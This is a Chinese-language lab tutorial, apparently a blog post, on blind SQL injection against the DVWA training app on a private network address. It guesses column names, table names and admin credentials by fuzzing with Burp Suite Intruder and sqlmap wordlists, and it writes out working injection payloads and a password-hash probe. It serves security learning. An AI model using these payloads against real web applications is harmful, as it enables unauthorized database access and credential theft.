之前的sql都是基于information_schema库,如果数据库无权读取,或者拒绝union、order by语句的话,那么只能通过尝试猜测是解决。
1、猜列名
使用手动或者是fuzzing测试
http://192.168.50.183/dvwa/vulnerabilities/sqli/
?id=' and abc is null--+ //abc为列名,为手动尝试,可以采用fuzzing测试
&Submit=Submit#
下面尝试用字典的形式fuzzing测试,使用burpsuite,先复制一份字典
# cat /usr/share/golismero/tools/sqlmap/txt/common-columns.txt | grep -v ^# > /root/columns.txt //将字典中包含的#号去掉,因为#在mysql中有特殊的含义,防止不能被执行
将abc即需要尝试的字段增加变量,并导入字典,开始尝试attack
查看攻击结果,发现返回的html字节大的就是猜测正确的列名,其他的错误的只是返回一段错误码,字节数比较小。
从上述猜测结果,可以得出,此表中包含的列名为user_id、first_name、last_name、password、user、user_id、password、user、avatar
2、猜当前表名
在浏览器的hackbar中写入表猜测sql语句
http://192.168.50.183/dvwa/vulnerabilities/sqli/
?id=' and table.user is null--+ //1.table表存在,user列为null,结果会列出两个字段,且为控制;2.table存在,user存在不为null,结果为执行,但不返回任何结果;3.table不存在,返回错误
&Submit=Submit#
导入表猜测字典,并使用burpsuite的intruder
# cat /usr/share/golismero/tools/sqlmap/txt/common-tables.txt | grep -v ^# > /root/tables.txt
表名猜测成功,通过字节数大小及render页面没有任何返回信息,判断语句执行成功。
从上述结果,可以得出,猜测出表名为users
3、猜库里其他表
仍旧使用上面的表column.txt,然后使用burpsuite猜测数据库中其他表
http://192.168.1.183/dvwa/vulnerabilities/sqli/
?id=' and (select count(*) from cc)>0--
&Submit=Submit#
上面直接暴露出了库名dvwa
从上述结果,可以得出,dvwa中有users,guestbook表
4、列表对应关系
' and users.user is null--+
5、猜字段内容
' or user='admin
' or user like '%a%
6、猜账号对应密码
' or user='admin' and password='5f4dcc3b5aa765d61d8327deb882cf99
可以将密码文件用md5哈希处理后保存,然后在使用intruder